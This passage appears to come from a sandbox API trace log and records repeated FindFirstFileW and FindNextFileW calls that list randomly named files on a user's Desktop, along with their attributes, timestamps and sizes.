dwReserved0=0x0, dwReserved1=0x0, cFileName="dudTlSq3.mp3", cAlternateFileName="")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7432d70, ftCreationTime.dwHighDateTime=0x1d4d5ea, ftLastAccessTime.dwLowDateTime=0xe0074070, ftLastAccessTime.dwHighDateTime=0x1d4c9cc, ftLastWriteTime.dwLowDateTime=0xe0074070, ftLastWriteTime.dwHighDateTime=0x1d4c9cc, nFileSizeHigh=0x0, nFileSizeLow=0x18121, dwReserved0=0x0, dwReserved1=0x0, cFileName="du_y8ZA.bmp", cAlternateFileName="")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d4450, ftCreationTime.dwHighDateTime=0x1d4cb71, ftLastAccessTime.dwLowDateTime=0xd6d7160, ftLastAccessTime.dwHighDateTime=0x1d4d477, ftLastWriteTime.dwLowDateTime=0xd6d7160, ftLastWriteTime.dwHighDateTime=0x1d4d477, nFileSizeHigh=0x0, nFileSizeLow=0xf8ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef_vyff_GZjFD9iuOcX.flv", cAlternateFileName="EF_VYF~1.FLV")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529eddf0, ftCreationTime.dwHighDateTime=0x1d4d102, ftLastAccessTime.dwLowDateTime=0x987e8cc0, ftLastAccessTime.dwHighDateTime=0x1d4d3ec, ftLastWriteTime.dwLowDateTime=0x987e8cc0, ftLastWriteTime.dwHighDateTime=0x1d4d3ec, nFileSizeHigh=0x0, nFileSizeLow=0x15b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EixE.m4a", cAlternateFileName="")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab40590, ftCreationTime.dwHighDateTime=0x1d4ce7c, ftLastAccessTime.dwLowDateTime=0x40284290, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0x40284290, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0xbf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="H5ZSUIot.wav", cAlternateFileName="")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca6d0e0, ftCreationTime.dwHighDateTime=0x1d4c72e, ftLastAccessTime.dwLowDateTime=0xedc5d8d0, ftLastAccessTime.dwHighDateTime=0x1d4d560, ftLastWriteTime.dwLowDateTime=0xedc5d8d0, ftLastWriteTime.dwHighDateTime=0x1d4d560, nFileSizeHigh=0x0, nFileSizeLow=0x8760, dwReserved0=0x0, dwReserved1=0x0, cFileName="hIJHv_tpsSRLGQkXt1.mkv", cAlternateFileName="HIJHV_~1.MKV")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d3e0cd0, ftCreationTime.dwHighDateTime=0x1d4cf0d, ftLastAccessTime.dwLowDateTime=0x1d1179f0, ftLastAccessTime.dwHighDateTime=0x1d4d386, ftLastWriteTime.dwLowDateTime=0x1d1179f0, ftLastWriteTime.dwHighDateTime=0x1d4d386, nFileSizeHigh=0x0, nFileSizeLow=0x5c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="HO-fBYaeJX0Tq5S.gif", cAlternateFileName="HO-FBY~1.GIF")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d7e4d90, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x4ff13f10, ftLastAccessTime.dwHighDateTime=0x1d4cfce, ftLastWriteTime.dwLowDateTime=0x4ff13f10, ftLastWriteTime.dwHighDateTime=0x1d4cfce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kUVq_ b-BGEv YRT", cAlternateFileName="KUVQ_B~1")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a9e10, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0x7dc41b20, ftLastAccessTime.dwHighDateTime=0x1d4c659, ftLastWriteTime.dwLowDateTime=0x7dc41b20, ftLastWriteTime.dwHighDateTime=0x1d4c659, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="kXyvY.bmp", cAlternateFileName="")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be81c40, ftCreationTime.dwHighDateTime=0x1d4ca5e, ftLastAccessTime.dwLowDateTime=0xc64292e0, ftLastAccessTime.dwHighDateTime=0x1d4d316, ftLastWriteTime.dwLowDateTime=0xc64292e0, ftLastWriteTime.dwHighDateTime=0x1d4d316, nFileSizeHigh=0x0, nFileSizeLow=0x4b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="l2E7ZB0C7JgdXKjfg41r.wav", cAlternateFileName="L2E7ZB~1.WAV")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743afdd0, ftCreationTime.dwHighDateTime=0x1d4d329, ftLastAccessTime.dwLowDateTime=0x1d746ec0, ftLastAccessTime.dwHighDateTime=0x1d4d147, ftLastWriteTime.dwLowDateTime=0x1d746ec0, ftLastWriteTime.dwHighDateTime=0x1d4d147, nFileSizeHigh=0x0, nFileSizeLow=0x14d6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ljwNeYj.avi", cAlternateFileName="")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4230e700, ftCreationTime.dwHighDateTime=0x1d4cc53, ftLastAccessTime.dwLowDateTime=0xd96ab1c0, ftLastAccessTime.dwHighDateTime=0x1d4cd46, ftLastWriteTime.dwLowDateTime=0xd96ab1c0, ftLastWriteTime.dwHighDateTime=0x1d4cd46, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mJmzsgIR.avi", cAlternateFileName="")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f147410, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0x9eac0370, ftLastAccessTime.dwHighDateTime=0x1d4c591, ftLastWriteTime.dwLowDateTime=0x9eac0370, ftLastWriteTime.dwHighDateTime=0x1d4c591, nFileSizeHigh=0x0, nFileSizeLow=0x76f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="m_cLn.wav", cAlternateFileName="")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfaf31c0, ftCreationTime.dwHighDateTime=0x1d4d16e, ftLastAccessTime.dwLowDateTime=0x74f5f490, ftLastAccessTime.dwHighDateTime=0x1d4cb82, ftLastWriteTime.dwLowDateTime=0x74f5f490, ftLastWriteTime.dwHighDateTime=0x1d4cb82, nFileSizeHigh=0x0, nFileSizeLow=0xbf4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="nK_drXKtsRh.m4a", cAlternateFileName="NK_DRX~1.M4A")) returned 1 [0082.578] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd723dc0, ftCreationTime.dwHighDateTime=0x1d4d58b, ftLastAccessTime.dwLowDateTime=0x5e9bc880, ftLastAccessTime.dwHighDateTime=0x1d4ce45, ftLastWriteTime.dwLowDateTime=0x5e9bc880, ftLastWriteTime.dwHighDateTime=0x1d4ce45, nFileSizeHigh=0x0, nFileSizeLow=0x2784, dwReserved0=0x0, dwReserved1=0x0, cFileName="NwrDTZ.docx", cAlternateFileName="NWRDTZ~1.DOC")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5558560, ftCreationTime.dwHighDateTime=0x1d4c646, ftLastAccessTime.dwLowDateTime=0xdbda0770, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0xdbda0770, ftLastWriteTime.dwHighDateTime=0x1d4d4c2, nFileSizeHigh=0x0, nFileSizeLow=0x18fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OZa1OvHSiPZtGYMnr.avi", cAlternateFileName="OZA1OV~1.AVI")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd852da30, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x4a91a840, ftLastAccessTime.dwHighDateTime=0x1d4cd29, ftLastWriteTime.dwLowDateTime=0x4a91a840, ftLastWriteTime.dwHighDateTime=0x1d4cd29, nFileSizeHigh=0x0, nFileSizeLow=0xe45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSUbGrWMOv90jjgcKmCA.jpg", cAlternateFileName="RSUBGR~1.JPG")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81d4fd0, ftCreationTime.dwHighDateTime=0x1d4cf79, ftLastAccessTime.dwLowDateTime=0x6b961650, ftLastAccessTime.dwHighDateTime=0x1d4d582, ftLastWriteTime.dwLowDateTime=0x6b961650, ftLastWriteTime.dwHighDateTime=0x1d4d582, nFileSizeHigh=0x0, nFileSizeLow=0xb1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t Ro6oiknl9GAPnQtW.odp", cAlternateFileName="TRO6OI~1.ODP")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9872f90, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x11234690, ftLastAccessTime.dwHighDateTime=0x1d4cbe9, ftLastWriteTime.dwLowDateTime=0x11234690, ftLastWriteTime.dwHighDateTime=0x1d4cbe9, nFileSizeHigh=0x0, nFileSizeLow=0x18bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tCqcVLTbM__jDAEJR.gif", cAlternateFileName="TCQCVL~1.GIF")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc9fe10, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0x9900c1d0, ftLastAccessTime.dwHighDateTime=0x1d4d3fc, ftLastWriteTime.dwLowDateTime=0x9900c1d0, ftLastWriteTime.dwHighDateTime=0x1d4d3fc, nFileSizeHigh=0x0, nFileSizeLow=0x1411e, dwReserved0=0x0, dwReserved1=0x0, cFileName="tt6gdO3lAoKJ51D9yzx.wav", cAlternateFileName="TT6GDO~1.WAV")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0082b0, ftCreationTime.dwHighDateTime=0x1d4d385, ftLastAccessTime.dwLowDateTime=0xb057d090, ftLastAccessTime.dwHighDateTime=0x1d4c7da, ftLastWriteTime.dwLowDateTime=0xb057d090, ftLastWriteTime.dwHighDateTime=0x1d4c7da, nFileSizeHigh=0x0, nFileSizeLow=0xd4ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="uy _qJUK.mp3", cAlternateFileName="UY_QJU~1.MP3")) returned 1 [0082.580] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a09bd80, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0x97b3f8f0, ftLastAccessTime.dwHighDateTime=0x1d4d5dd, ftLastWriteTime.dwLowDateTime=0x97b3f8f0, ftLastWriteTime.dwHighDateTime=0x1d4d5dd, nFileSizeHigh=0x0, nFileSizeLow=0xf38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vmnx49O7kGj.png", cAlternateFileName="VMNX49~1.PNG")) returned 1 [0082.580] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0082.580] FindClose (in: hFindFile=0xfed958 | out: hFindFile=0xfed958) returned 1 [0082.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e488) returned 1 [0082.580] CoTaskMemAlloc (cb=0xf) returned 0xfb7b70 [0082.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0082.694] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0082.694] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xaa899ebb, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0xaa899ebb, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfedf58 [0082.694] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xaa899ebb, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0xaa899ebb, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.694] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d6ddd30, ftCreationTime.dwHighDateTime=0x1d4c96c, ftLastAccessTime.dwLowDateTime=0xad8ac830, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0xad8ac830, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-c3CfvI1Q S3zJe.gif", cAlternateFileName="-C3CFV~1.GIF")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e67a90, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x396ee0d0, ftLastAccessTime.dwHighDateTime=0x1d4cb5a, ftLastWriteTime.dwLowDateTime=0x396ee0d0, ftLastWriteTime.dwHighDateTime=0x1d4cb5a, nFileSizeHigh=0x0, nFileSizeLow=0x113c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="-t3hSggSt8.csv", cAlternateFileName="-T3HSG~1.CSV")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570e21f0, ftCreationTime.dwHighDateTime=0x1d4d352, ftLastAccessTime.dwLowDateTime=0x6b527fb0, ftLastAccessTime.dwHighDateTime=0x1d4c602, ftLastWriteTime.dwLowDateTime=0x6b527fb0, ftLastWriteTime.dwHighDateTime=0x1d4c602, nFileSizeHigh=0x0, nFileSizeLow=0x6b53, dwReserved0=0x0, dwReserved1=0x0, cFileName="-wiWbBcmoqutvw1S.odt", cAlternateFileName="-WIWBB~1.ODT")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925fd7e0, ftCreationTime.dwHighDateTime=0x1d4cfd7, ftLastAccessTime.dwLowDateTime=0xe2b29ed0, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xe2b29ed0, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x161dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Nx7y56.flv", cAlternateFileName="")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783af130, ftCreationTime.dwHighDateTime=0x1d4d4a8, ftLastAccessTime.dwLowDateTime=0x6c9c1860, ftLastAccessTime.dwHighDateTime=0x1d4cc31, ftLastWriteTime.dwLowDateTime=0x6c9c1860, ftLastWriteTime.dwHighDateTime=0x1d4cc31, nFileSizeHigh=0x0, nFileSizeLow=0x16858, dwReserved0=0x0, dwReserved1=0x0, cFileName="0YuVxzeY9-b4MF.avi", cAlternateFileName="0YUVXZ~1.AVI")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6996f9f0, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x1d2c4af0, ftLastAccessTime.dwHighDateTime=0x1d4d3f4, ftLastWriteTime.dwLowDateTime=0x1d2c4af0, ftLastWriteTime.dwHighDateTime=0x1d4d3f4, nFileSizeHigh=0x0, nFileSizeLow=0x10144, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Q2VXYoy-MwTF2q.swf", cAlternateFileName="1Q2VXY~1.SWF")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fc3640, ftCreationTime.dwHighDateTime=0x1d4c73d, ftLastAccessTime.dwLowDateTime=0x8d987540, ftLastAccessTime.dwHighDateTime=0x1d4c696, ftLastWriteTime.dwLowDateTime=0x8d987540, ftLastWriteTime.dwHighDateTime=0x1d4c696, nFileSizeHigh=0x0, nFileSizeLow=0x15260, dwReserved0=0x0, dwReserved1=0x0, cFileName="57NeTO DwJSxa2vi.ods", cAlternateFileName="57NETO~1.ODS")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a75870, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x72ef7240, ftLastAccessTime.dwHighDateTime=0x1d4caea, ftLastWriteTime.dwLowDateTime=0x72ef7240, ftLastWriteTime.dwHighDateTime=0x1d4caea, nFileSizeHigh=0x0, nFileSizeLow=0x3f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="69R_i5Xgdo.m4a", cAlternateFileName="69R_I5~1.M4A")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4ccf10, ftCreationTime.dwHighDateTime=0x1d4cbff, ftLastAccessTime.dwLowDateTime=0xa946ddb0, ftLastAccessTime.dwHighDateTime=0x1d4cc2f, ftLastWriteTime.dwLowDateTime=0xa946ddb0, ftLastWriteTime.dwHighDateTime=0x1d4cc2f, nFileSizeHigh=0x0, nFileSizeLow=0x6d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="aQRnn-I.m4a", cAlternateFileName="")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c93a7e0, ftCreationTime.dwHighDateTime=0x1d4cb2f, ftLastAccessTime.dwLowDateTime=0x11a911a0, ftLastAccessTime.dwHighDateTime=0x1d4d2ea, ftLastWriteTime.dwLowDateTime=0x11a911a0, ftLastWriteTime.dwHighDateTime=0x1d4d2ea, nFileSizeHigh=0x0, nFileSizeLow=0x613e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZV1g-qB qMc.wav", cAlternateFileName="CZV1G-~1.WAV")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0082.697] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a7913c0, ftCreationTime.dwHighDateTime=0x1d4d5da, ftLastAccessTime.dwLowDateTime=0x29531450, ftLastAccessTime.dwHighDateTime=0x1d4d1ea, ftLastWriteTime.dwLowDateTime=0x29531450, ftLastWriteTime.dwHighDateTime=0x1d4d1ea, nFileSizeHigh=0x0, nFileSizeLow=0x4286, dwReserved0=0x0, dwReserved1=0x0, cFileName="dudTlSq3.mp3", cAlternateFileName="")) returned 1 [0082.697] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7432d70, ftCreationTime.dwHighDateTime=0x1d4d5ea, ftLastAccessTime.dwLowDateTime=0xe0074070, ftLastAccessTime.dwHighDateTime=0x1d4c9cc, ftLastWriteTime.dwLowDateTime=0xe0074070, ftLastWriteTime.dwHighDateTime=0x1d4c9cc, nFileSizeHigh=0x0, nFileSizeLow=0x18121, dwReserved0=0x0, dwReserved1=0x0, cFileName="du_y8ZA.bmp", cAlternateFileName="")) returned 1 [0082.697] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d4450, ftCreationTime.dwHighDateTime=0x1d4cb71, ftLastAccessTime.dwLowDateTime=0xd6d7160, ftLastAccessTime.dwHighDateTime=0x1d4d477, ftLastWriteTime.dwLowDateTime=0xd6d7160, ftLastWriteTime.dwHighDateTime=0x1d4d477, nFileSizeHigh=0x0, nFileSizeLow=0xf8ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef_vyff_GZjFD9iuOcX.flv", cAlternateFileName="EF_VYF~1.FLV")) returned 1 [0082.697] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529eddf0, ftCreationTime.dwHighDateTime=0x1d4d102, ftLastAccessTime.dwLowDateTime=0x987e8cc0, ftLastAccessTime.dwHighDateTime=0x1d4d3ec, ftLastWriteTime.dwLowDateTime=0x987e8cc0, ftLastWriteTime.dwHighDateTime=0x1d4d3ec, nFileSizeHigh=0x0, nFileSizeLow=0x15b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EixE.m4a", cAlternateFileName="")) returned 1 [0082.697] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab40590, ftCreationTime.dwHighDateTime=0x1d4ce7c, ftLastAccessTime.dwLowDateTime=0x40284290, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0x40284290, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0xbf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="H5ZSUIot.wav", cAlternateFileName="")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca6d0e0, ftCreationTime.dwHighDateTime=0x1d4c72e, ftLastAccessTime.dwLowDateTime=0xedc5d8d0, ftLastAccessTime.dwHighDateTime=0x1d4d560, ftLastWriteTime.dwLowDateTime=0xedc5d8d0, ftLastWriteTime.dwHighDateTime=0x1d4d560, nFileSizeHigh=0x0, nFileSizeLow=0x8760, dwReserved0=0x0, dwReserved1=0x0, cFileName="hIJHv_tpsSRLGQkXt1.mkv", cAlternateFileName="HIJHV_~1.MKV")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d3e0cd0, ftCreationTime.dwHighDateTime=0x1d4cf0d, ftLastAccessTime.dwLowDateTime=0x1d1179f0, ftLastAccessTime.dwHighDateTime=0x1d4d386, ftLastWriteTime.dwLowDateTime=0x1d1179f0, ftLastWriteTime.dwHighDateTime=0x1d4d386, nFileSizeHigh=0x0, nFileSizeLow=0x5c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="HO-fBYaeJX0Tq5S.gif", cAlternateFileName="HO-FBY~1.GIF")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d7e4d90, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x4ff13f10, ftLastAccessTime.dwHighDateTime=0x1d4cfce, ftLastWriteTime.dwLowDateTime=0x4ff13f10, ftLastWriteTime.dwHighDateTime=0x1d4cfce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kUVq_ b-BGEv YRT", cAlternateFileName="KUVQ_B~1")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a9e10, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0x7dc41b20, ftLastAccessTime.dwHighDateTime=0x1d4c659, ftLastWriteTime.dwLowDateTime=0x7dc41b20, ftLastWriteTime.dwHighDateTime=0x1d4c659, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="kXyvY.bmp", cAlternateFileName="")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be81c40, ftCreationTime.dwHighDateTime=0x1d4ca5e, ftLastAccessTime.dwLowDateTime=0xc64292e0, 